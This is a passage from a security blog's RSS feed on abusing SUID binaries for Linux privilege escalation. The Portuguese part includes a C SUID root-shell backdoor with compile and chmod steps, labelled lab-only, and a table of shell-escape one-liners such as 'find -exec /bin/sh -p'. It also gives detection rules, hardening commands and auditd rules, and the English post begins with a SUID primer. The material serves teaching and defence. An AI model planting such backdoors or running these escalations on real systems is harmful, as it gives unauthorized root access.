&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;  ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RED&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}[!!!] EXPLORÁVEL:${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;       Dono: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;YEL&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;owner&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;} | Perm: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;perms&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;       GTFOBins: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}https://gtfobins.github.io/gtfobins/${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}/#suid${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}\n&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;    HIT&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;$((&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;HIT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;  ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;GRN&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}[ok]${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}  &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$bin&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;  ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;BLU&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}(${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;owner&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;})${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;  fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x3C;&amp;#x3C;&amp;#x3C; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$BINS&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;\n[*] Resumo: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RED&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;HIT&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;} alvo(s) em potencial${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;RST&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;} de ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;TOTAL&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;} binários SUID no total&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;passo-4--escrevendo-um-backdoor-suid-customizado-cenário-de-lab&quot;&gt;Passo 4 — Escrevendo um Backdoor SUID Customizado (Cenário de Lab)&lt;/h2&gt;
&lt;p&gt;Em operações de red team autorizadas, você pode precisar plantar um shell SUID persistente para acesso pós-exploração.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Como root — compila um wrapper setuid mínimo para a shell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/tmp/rootshell.c&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x3C;&amp;#x3C; &lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;#include &amp;#x3C;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;#include &amp;#x3C;unistd.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;int main() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    setuid(0);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    setgid(0);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-p&quot;, NULL);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    return 0;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Compila e seta o SUID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gcc&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/rootshell.c&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/rootshell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;chmod&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; u+s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /tmp/rootshell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Um usuário de baixo privilégio agora pode chamá-lo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/tmp/rootshell&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# bash-5.1# whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# root&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;PERIGO:&lt;/strong&gt; Nunca faça deploy de backdoors SUID em sistemas de produção ou sem autorização explícita por escrito. Isso é apenas para ambientes de laboratório autorizados.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&quot;detecção--mitigação&quot;&gt;Detecção &amp;#x26; Mitigação&lt;/h2&gt;
&lt;h3 id=&quot;detecções-do-blue-team&quot;&gt;Detecções do Blue Team&lt;/h3&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Indicador&lt;/th&gt;&lt;th&gt;Fonte de Dados&lt;/th&gt;&lt;th&gt;Lógica da Regra&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Novo binário SUID criado&lt;/td&gt;&lt;td&gt;auditd / inotify&lt;/td&gt;&lt;td&gt;&lt;code&gt;find / -newer /tmp -perm -4000&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Binário SUID executa shell&lt;/td&gt;&lt;td&gt;auditd execve&lt;/td&gt;&lt;td&gt;parent=suid_binary, child=/bin/sh&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dono SUID inesperado&lt;/td&gt;&lt;td&gt;file integrity&lt;/td&gt;&lt;td&gt;owner=root AND path NOT IN baseline&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Flag &lt;code&gt;-p&lt;/code&gt; passada ao shell&lt;/td&gt;&lt;td&gt;process args&lt;/td&gt;&lt;td&gt;&lt;code&gt;sh -p&lt;/code&gt; OR &lt;code&gt;bash -p&lt;/code&gt; in cmdline&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;comandos-de-hardening&quot;&gt;Comandos de Hardening&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Audita todos os binários SUID — salva uma baseline&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -perm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -4000&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -type&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; 2&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/dev/null&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &gt; &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;/root/suid_baseline.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Remove o SUID de um binário específico&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;chmod&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; u-s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /caminho/para/binario&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Monta partições com nosuid para prevenir SUID naqueles filesystems&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Em /etc/fstab:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# /dev/sdb1 /data ext4 defaults,nosuid,noexec 0 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Enforcement de profile do AppArmor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;aa-enforce&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr/bin/find&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Verifica a integridade do binário contra o package manager&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dpkg&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; --verify&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;    # Debian/Ubuntu&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;rpm&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -Va&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;          # RHEL/CentOS&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;regras-de-monitoramento-recomendadas-auditd&quot;&gt;Regras de Monitoramento Recomendadas (auditd)&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# /etc/audit/rules.d/suid.rules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Monitora a execução de binário SUID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; always,exit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; arch=b64&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; execve&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; euid=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; aui&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;d&gt;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -k&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; suid_exec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Monitora chmod/chown mudando o bit SUID&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-a&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; always,exit&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; arch=b64&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; fchmod&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -S&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; fchmodat&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -F&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; a1=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;04755&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -k&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; suid_create&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;setup-de-laboratório&quot;&gt;Setup de Laboratório&lt;/h2&gt;
&lt;p&gt;Para praticar essas técnicas de forma segura, suba uma VM vulnerável:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Vagrant — box Linux intencionalmente vulnerável&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vagrant&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; init&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; bento/ubuntu-22.04&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vagrant&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; up&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;vagrant&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ssh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Configura manualmente um binário vulnerável para prática&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; u+s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr/bin/find&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -exec&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /bin/sh&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -quit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternativamente, use plataformas dedicadas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HackTheBox&lt;/strong&gt; — Máquinas de privilege escalation em Linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TryHackMe&lt;/strong&gt; — Sala “Linux PrivEsc”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VulnHub&lt;/strong&gt; — Kioptrix, série Mr. Robot&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;resumo&quot;&gt;Resumo&lt;/h2&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Binário&lt;/th&gt;&lt;th&gt;Método de Exploit&lt;/th&gt;&lt;th&gt;Dificuldade&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;find&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;-exec /bin/sh -p&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fácil&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;python3&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;os.execl(&quot;/bin/sh&quot;,&quot;sh&quot;,&quot;-p&quot;)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fácil&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;vim&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;:!sh -p&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fácil&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;bash&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;bash -p&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fácil&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;tar&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;--checkpoint-action=exec&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Média&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;--interactive&lt;/code&gt; (legacy)&lt;/td&gt;&lt;td&gt;Média&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;awk&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;system(&quot;/bin/sh&quot;)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Fácil&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A chave para levar disso tudo: &lt;strong&gt;qualquer&lt;/strong&gt; binário com SUID ativado que permita execução arbitrária de código ou o spawn de uma shell é um caminho para o root. Sempre enumere binários SUID como parte do seu checklist de escalonamento de privilégios no Linux.&lt;/p&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>privesc</category><category>suid</category><category>linux</category><category>privesc</category><category>gtfobins</category><category>setuid</category><category>enumeration</category><difficulty>medium</difficulty></item><item><title>SUID Abuse — Escalating to Root with Forgotten Binaries</title><link>https://www.kbmsecurity.com.br/blog/post/suid-abuse-linux-en/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/suid-abuse-linux-en/</guid><description>How misconfigured SUID binaries on Linux can be weaponized for privilege escalation using GTFOBins techniques and custom enumeration scripts.</description><pubDate>Tue, 14 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;what-is-suid&quot;&gt;What is SUID?&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;SUID (Set User ID)&lt;/strong&gt; bit is a special Linux permission that causes an executable to run with the &lt;strong&gt;privileges of the file owner&lt;/strong&gt; instead of the user who invoked it.&lt;/p&gt;
&lt;p&gt;When a binary owned by &lt;code&gt;root&lt;/code&gt; has the SUID bit set, any user who executes it gains temporary root-level access for the duration of that process. This is intentional for binaries such as &lt;code&gt;/usr/bin/passwd&lt;/code&gt; — but becomes a critical attack vector when found in unexpected binaries.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Permission example — the &amp;#x26;#x27;s&amp;#x26;#x27; in the owner&amp;#x26;#x27;s execute position = SUID enabled&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-rwsr-xr-x&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; root&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; root&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 67816&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; Jan&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;  5&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; 12:00&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; /usr/bin/passwd&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&gt; &lt;strong&gt;MITRE ATT&amp;#x26;CK;:&lt;/strong&gt; This technique is mapped as &lt;a href=&quot;https://attack.mitre.org/techniques/T1548/001/&quot;&gt;T1548.001 — Setuid and Setgid&lt;/a&gt; under the Privilege Escalation tactic (TA0004).&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-1--enumerate-suid-binaries&quot;&gt;Step 1 — Enumerate SUID Binaries&lt;/h2&gt;
&lt;p&gt;The first step is to find all SUID-enabled binaries on the system.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Find all SUID binaries (suppress permission denied errors)&lt;/span&gt;&lt;/span&gt;
